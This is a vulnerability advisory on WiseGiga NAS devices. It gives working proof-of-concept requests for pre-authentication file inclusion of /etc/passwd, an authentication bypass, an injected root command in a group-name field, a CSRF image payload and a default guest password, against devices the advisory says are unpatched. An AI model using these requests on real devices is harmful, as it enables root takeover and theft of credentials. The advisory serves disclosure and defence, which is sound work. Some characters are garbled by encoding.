WiseGiga NAS CSRF / LFI / Command Execution

Credit: Pierre Kim
Risk: High
Local: No
Remote: Yes

Source: https://blogs.securiteam.com/index.php/archives/3402 Vulnerabilities summary The following advisory describes five (5) vulnerabilities and default accounts / passwords found in WiseGiga NAS devices. WiseGiga is a Korean company selling NAS products. The vulnerabilities found in WiseGiga NAS are: Pre-Authentication Local File Inclusion (4 different vulnerabilities) Post-Authentication Local File Inclusion Remote Command Execution as root Remote Command Execution as root with CSRF Info Leak Default accounts Credit An independent security researcher, Pierre Kim, has reported this vulnerability to Beyond Securityas SecuriTeam Secure Disclosure program Vendor response We tried to contact WiseGiga since June 2017, repeated attempts to establish contact went unanswered. At this time there is no solution or workaround for these vulnerabilities. Vulnerabilities details Pre-Authentication Local File Inclusion User controlled input is not sufficiently sanitized and can be exploit by an attacker to get sensitive information (for example, passwords). By sending GET request to the following URIas with filename= as a parameter, an attacker can trigger the vulnerabilities: /webfolder/download_file1.php down_data.php download_file.php mobile/download_file1.php Proof of Concept http://IP/webfolder/download_file1.php?filename=/etc/passwd http://IP/down_data.php?filename=/etc/passwd http://IP/download_file.php?filename=base64(/etc/passwd) http://IP/mobile/download_file1.php?filename=base64(/etc/passwd) Post-Authentication Local File Inclusion User controlled input is not sufficiently sanitized and can be exploit by an attacker to get sensitive information (for example, passwords). By sending GET request to /mobile/download_file2.php an attacker can trigger the vulnerability. Proof of Concept http://IP//mobile/download_file2.php?filename=base64(/etc/passwd) Remote Command Execution as root The WiseGiga NAS firmware contain pre.php files in the different directories. For example: /app_data/apache/htdocs/auto/pre.php /app_data/apache/htdocs/admin/iframe/pre.php /app_data/apache/htdocs/admin/pre.php /app_data/apache/htdocs/mobile/pre.php /app_data/apache/htdocs/wiseapp/config/pre.php /app_data/apache/htdocs/pre.php /home/htdocs/webfolder/pre.php /ub/update/init/pre.php /tmp/home/root/htdocs/auto/pre.php /tmp/home/root/htdocs/pre.php A astandarda pre.php contains: 181 [...] 182 function auth() 183 { 184 global $memberid; 185 session_start(); 186 //echo $memberid; 187 if($memberid=="root") 188 { 189 // print<<<__DATA_OF_HTML__ 190 //<script language="JavaScript"> 191 // alert("sucess !"); 192 //</script> 193 //__DATA_OF_HTML__; 194 } 195 else 196 { 197 print<<<__DATA_OF_HTML__ 198 <script language="JavaScript"> 199 alert("\xc0\xce\xc1\xf5\xb9\xde\xc1\xf6 \xbe\xca\xc0\xba \xbb\xe7\xbf\xeb\xc0\xda\xc0\xd4\xb4\xcf\xb4\xd9!"); 200 // location.href='/admin/'; 201 window.open('index.php','_parent'); 202 exit; 203 </script> 204 __DATA_OF_HTML__; 205 } 206 207 } Using global $memberid (line 184), the attacker can override the authentication, by specifying a valid user (aroota) inside the HTTP request: GET /webpage[...]?memberid=root&[...] HTTP/1.0 The pre.php files also contains a function called root_exec_cmd() that is a wrapper to popen(): 23 function root_exec_cmd($cmd) 24 { 25 $tmpfile=fopen("/tmp/ramdisk/cmd.list","w"); 26 fwrite($tmpfile,$cmd); 27 fclose($tmpfile); 28 popen("/tmp/ramdisk/ramush","r"); 29 } By sending a GET request to root_exec_cmd() with user controlled $cmd variable input an attacker can execute arbitrary commands The WiseGiga NAS runas the Apache server as root (uid=0 with gid=48 aapachea) hence the commands will execute as root. Proof of Concept By sending GET request to /admin/group.php with parameter ?cmd=add the WiseGiga NAS will call the add_system() function: 178 if($cmd == "add") 179 { 180 add_system(); 181 } The add_system() function uses global for $group_name and $user_data. Then it will pass the user controlled input and will run it as root: 145 function add_system() 146 { 147 global $group_name,$user_data; 148 149 if(add_conf()==1) 150 { 151 //==================================================================================== 152 root_exec_cmd("addgroup $group_name"); An attacker can get unauthenticated RCE as root by sending the following request: http://IP/admin/group.php?memberid=root&cmd=add&group_name=d;id%20>%20/tmp/a The file /tmp/a will contain: uid=0(root) gid=48(apache) groups=48(apache) Remote Command Execution as root with CSRF There is no CSRF protection in WiseGiga NAS. An attacker can force the execution of a command as root when the victim visits the malicious website. Proof of Concept Once the victim visit the attackeras website with the following code, the attacker can execute arbitrary commands. <img src=";COMMANDTOEXECUTE"> InfoLeak accessing http://IP/webfolder/config/config.php will disclose the PHP configuration. Default accounts Username: guest Password: guest09#$

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